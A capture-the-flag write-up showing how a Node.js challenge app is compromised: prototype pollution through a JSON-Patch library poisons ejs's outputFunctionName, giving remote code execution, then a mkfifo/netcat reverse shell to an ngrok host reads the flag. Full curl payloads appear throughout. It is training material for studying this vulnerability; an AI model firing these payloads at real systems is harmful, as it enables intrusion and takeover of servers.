# Basic discoveryReading the Dockerfile, we discover the flag is in `/root/flag.txt`, there is a script `/readFlag` that can access and read it.  We also learn that connecting to the Docker, we will be the user `guest`. We have basically no access (especially no reading of /root/flag.txt)# Local docker setupAfter building the docker image locally, we can start it with port forwarding with `sudo docker run -p 127.0.0.1:1337:1337/tcp --name illusion DOCKER_IMAGE_ID`# Calling the webappTrying to access the webapp, a login/password is required.  In the code we can see: users: { "admin": process.env.SECRET || "admin" }  If process.env.SECRET is not specified, login is "admin", password is "admin". When trying to solve the challenge, pwn2win gives us our custom admin password.# Interacting with the webappThe webapp is very simple. No button, nothing we can do on the interface.  All services are "online" by default.  
We can use our admin:admin basic authentication to interact with it. Security cameras can be put offline using:```bashcurl --header "Content-Type: application/json" \  --header "Authorization: Basic YWRtaW46YWRtaW4=" \  --request POST \  --data '{"cameras": "offline"}' \  127.0.0.1:1337/change_status```# What is happening behind the sceneIn the JS code there is an Object:```jslet services = {    status: "online",    cameras: "online",    doors: "online",    dome: "online",    turrets: "online"}```
They write our input `{"cameras": "offline"}'` in the following, service = cameras, status = offline:```json{  "op": "replace",  "path": "/" + service,  "value": status}```
Then a library is used to update the `services` object we have previously seen:```jsjsonpatch.applyPatch(services, patch)```
Then, when a load the page:```jsapp.get("/", async (req, res) => {    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})    res.end(html)})```
`services` is sent to a template renderer to fill the status of the different variables. As we put the cameras offline, the website says so.# Exploit## Vector of attackThe template renderer is in ejs.  This is subject to a prototype pollution attack. => https://blog.p6.is/Web-Security-CheatSheet/ TL;DR The following example allow en RCE when the application is using ejs to render a template: `Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";`  
The question is: how to pollute Object prototype?  In this webapp, we cannot do much. Only change status.  The library used for updating the Object `services`, and that is interacting with our input, is https://github.com/Starcounter-Jack This library is protected against modifications of `__proto__`. However this protection is not enough to guard against prototype pollution! A patch has been proposed months ago to fix the vulnerability, but has never been merged: https://github.com/Starcounter-Jack/JSON-Patch/pull/262 
As `services` is an Object, we can pollute the prototype of Object through: `services.constructor.prototype` (same prototype as Object).## Testing the attackConnecting on docker, as a guest, we cannot do much. What we can do is create a file in `/tmp`.  Let's try to create a file:```curl --header "Content-Type: application/json" \  --header "Authorization: Basic YWRtaW46YWRtaW4=" \  --request POST \  --data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \  127.0.0.1:1337/change_status```
We must then load the website for the rendering to happen.  Checking tmp `ls /tmp` we now have a "test" file.
Well great, we can execute command, but even if we can call `cat /readFlag`, we have no way to display the information on the webapp.  ## Reverse shell to the rescueFor this, I used ngrok. The aim is to have a public IP against which I can send the reverse shell, and that the server behind this public IP will then redirect all that to my VM.  Launching it with port redirection on 12345, `nc -lvp 12345` ready to get the reverse shell, we can use `mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f` inside our docker  We successfully have a reverse shell.
## The flagWe can now send the full payload:```curl --header "Content-Type: application/json" \  --header "Authorization: Basic YWRtaW46YWRtaW4=" \  --request POST \  --data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').execSync(`mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f`);x" }' \  127.0.0.1:1337/change_status```
Browse the webapp, get the reverse shell, `cat /readFlag` and we have the flag `CTF-BR{f4k3_l0cal_fl4g_f0r_test1ng}`